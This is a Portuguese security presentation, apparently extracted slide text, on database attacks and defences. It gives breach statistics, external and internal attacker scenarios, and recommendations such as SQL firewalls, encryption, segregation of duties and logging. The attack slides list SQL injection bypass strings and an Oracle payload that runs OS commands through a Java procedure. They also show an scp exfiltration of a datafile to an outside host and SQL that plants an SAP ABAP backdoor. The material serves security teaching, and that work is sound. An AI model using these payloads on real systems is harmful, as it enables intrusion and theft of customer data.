O documento discute ataques e proteção de bases de dados. Apresenta estatísticas mostrando que injeção SQL é responsável por 89% dos dados comprometidos e que dois terços da informação sensível reside em bases de dados. Explora padrões de ataque externo e interno, incluindo engenharia social e exploração de vulnerabilidades técnicas. Finalmente, fornece recomendações para proteger bases de dados, como melhorar segurança de aplicações, segmentar redes, auditar vulnerabilidades e gerir contas privilegiadas.
4. Mais de 1MM de Registos Foram Expostos a Partir
de Bases de Dados Em 6 Anos
Dois Terços de Informação Sensível Reside
em Bases de Dados
… e Duplica a Cada Dois Anos
20112009
48% Data Breaches
Caused by Insiders
89% Records Stolen
Using SQL Injection
86% Hacking Used
Stolen Credentials
fonte: IDC, 2011; Verizon, 2007-2011
03
REALITY_CHECK
5. • SQL injection attacks against
databases are responsible for
89% of breached data
• SQL injection vulnerabilities are
endemic
• Require code changes to be made
to an application.
“The versatility and effectiveness of SQL injection make it a
multi-tool of choice among cyber criminals.”
fonte: Verizon 2010-2012 Data Breach Investigations Report
04
REALITY_CHECK
OWASP TOP TEN
#1 Injection
Use of stolen login credentials
SQL Injection
Exploitation of backdoor or
command and control channel
51% / 86%
29% / 51%
Hacking methods by percent of breaches within hacking and
percent of records
25% / 89%
7. Define
target
Find and
organize
accomplices
Build or acquire
tools
Research
target
infrastructure
employees
Test for
detection
Deployment
Initial
intrusion
Outbound
connection
initiated
Expand access
and obtain
credentials
Strengthen
foothold
Exfiltrate
data
Cover tracks
and remain
undetected
ATTACK
06
ADVANCED PERSISTENT THREAT
fonte: SecureWorks 2012 Anatomy of an APT
12. ATTACK
11
ATACANTE_EXTERNO
Pontos a explorar:
Software desactualizado com fingerprinting e exploits
disponíveis
IAM e PIM ineficientes (e.g. passwords default, contas
esquecidas, contas privilegiadas não controladas)
Serviços desnecessários e inseguros
Aplicações Web vulneráveis a SQL injection
Whaling, spear phishing
Malware
13. Utilizadores conseguem subverter a aplicação para acederem à base de dados
As aplicações não são desenhadas defensivamente
As aplicações correm com utilizadores privilegiados
Cada aplicação é única
Aplicação
SELECT * from sales
where
produtoID =
''union select produtoID, clienteID from Compras --''
and location = 1;
SELECT * from sales where
produtoID =
‘SAASCloudStorage'
and location = 1;
Demasiada confiança...
ATTACK
12
SQLi
www.borla.pt/search.jsp?product=SAASCloudStorage
www.borla.pt/search.jsp?product=' union select clienteID from Compras --'
Base de Dados
14. 13
SQLi
ATTACK
or 1=1 --
' or 0=0 --
'' or 0=0 --
or 0=0 --
' or 0=0 #
'' or 0=0 #
or 0=0 #
' or 'x'='x
'' or
''x''=''x
') or ('x'='x
' or 1=1--
hi'') or
(''a''=''a
' or a=a--
'' or
''a''=''a
') or ('a'='a
'') or
(''a''=''a
hi'' or
''a''=''a
...
Saber a versão da base de dados
' or 1=utl_inaddr.get_host_address((select banner
from v$version where rownum=1))—
Correr comandos no sistema operativo (através de java)
javasyspriv to user1;create or replace and resolve
java source name "JAVACMD" ASimport
java.lang.*;import java.io.*;public class JAVACMD{
public static void execCommand (String command)
throws IOException {
Runtime.getRuntime().exec(command);} };/Create or
replace procedure javacmdproc (p_command in
varchar2)as language java name 'JAVACMD.execCommand
(java.lang.String)';/exec javacmdproc('cmd.exe /c
echo Olá > c:cloudcomputing.txt');
18. ATTACK
17
ATACANTE_INTERNO
Pontos a explorar:
Acesso aos ficheiros de base de dados pelo sistema
operativo
Acesso a Informação de clientes pela de base de dados
Engenharia social a colegas ou clientes
Acesso a tapes de backups não cifradas
Ambiente de testes com os mesmos dados de produção
Colocação de malware
19. ATTACK
18
ATACANTE_INTERNO_SYSADMIN
Sistema
Operativo
A base de dados não é cifrada. É possível copiar a
informação e transportá-la numa pen USB.
cp /home/oracle/oradata/tmdb/system01.dbf /home/hacker/
scp /home/hacker/system01.dbf hacker@cloudcomputing.pt:22/
BD não cifrada
Administrador
de Sistemas
20. O DBA que tem acesso informação de clientes pela base de
dados e pode fazer alterações sem deixar vestígios.
A tabela T000 contém informação base de clientes SAP.
SELECT MANDT, MTEXT, CCCATEGORY from SAPSR3.T000;
BD sem separação
de funções (SoD)
DBA
ATTACK
19
ATACANTE_INTERNO_DBA_READ
21. É possível a um DBA injectar um backdoor ABAP no sistema SAP.
UPDATE SAPSR3.REPOSRC
SET DATA=<CODIGO_BACKDOOR_ABAP> WHERE PROGNAME='SAPMSYST';
ATTACK
20
ATACANTE_INTERNO_DBA_WRITE
De modo a activar o backdoor basta obrigar o SAP a interpretar o
novo código:
DELETE FROM SAPSR3.REPOLOAD WHERE PROGNAME='SAPMSYST';
O backdoor poderia enviar emails com todas as passwords dos
utilizadores que fazem login no SAPGUI.
23. Os ataques têm um objectivo concreto.
É suposto não serem detectados.
O atacante externo é mais sofisticado, o interno tem
acesso a infra-estrutura e informação privilegiados.
Os ataques podem ser muito alargados no tempo.
Um auditor de segurança analisa risco tecnológico
num curto espaço de tempo.
ATTACK
22
KEY POINTS
28. 27
EXTERNO
PROTECT
Melhorar a segurança nas aplicações.
Software Assurance Maturity Model
ISO/IEC 27034 Application security
Sistema Anti Fraude e Risk Based Access Control
30. Compreender preventivamente a intenção
dos pedidos SQL através de um
filtro/firewall SQL.
Impedir ataques sem quebrar o
funcionamento das aplicações.
29
EXTERNO
PROTECT
36. 35
INTERNO
PROTECT
Entidade
Criar
Contas
SYSDBA Backup Tuning Patching Monitor.
Security
Admin
Negócio
Aplica.
Ricardo
Martins
X - - - - - - -
Eurico
Maia
- - - - - - X -
Tiago
Jacinto
- - X - - - - -
Carlos
Silva
- - - - - X - -
Pedro
Costa
- - - X - X - -
RMAN - X X - - - - -
SYSTEM - - - - EBS - - -
SAPSR3 - - - - - - - SAP ERP
37. 36
INTERNO
PROTECT
Transpor dados de produção para ambientes
de pré-produção retirando a informação
sensível.
As equipas de desenvolvimento não devem
ter acesso a informação de negócio.
38. 37
INTERNO
PROTECT
• Ser selectivo
• Fazer log de todo o SQL de utilizadores com acessos privilegiados
• Não logar actividade aplicacional normal
• Log SQL apenas para a actividade sensível das aplicações
• Utilizar níveis de ameaça para priorizar eventos
Aplicar boas práticas de logging.
39. 38
INTERNO
PROTECT
Cifrar a informação sensível da base dados
em repouso, em trânsito em nos backups.
Autenticação em clear text é facilmente
interceptada numa LAN (ARP Spoofing).
40. PROTECT
39
KEY POINTS
Começar com um plano simples e ir
melhorando.
Definir métricas.
(e.g. número de incidentes, impacto CIA, impacto no
negócio, número de clientes afectados, etc.)
41. As redes digitais são os novos espaços. Devemos ter
as mesmas cautelas que temos no mundo físico, os
perigos são os mesmos.
As bases dados devem ser trabalhadas como
recursos críticos que são.
A segurança tem de ser trabalhada em camadas,
como um castelo. Nenhuma camada é intransponível,
mas pode implicar muita complexidade, tempo,
presença física. etc.
Os seus recursos são valiosos e são transaccionáveis
na Web.
PROTECT
40
KEY POINTS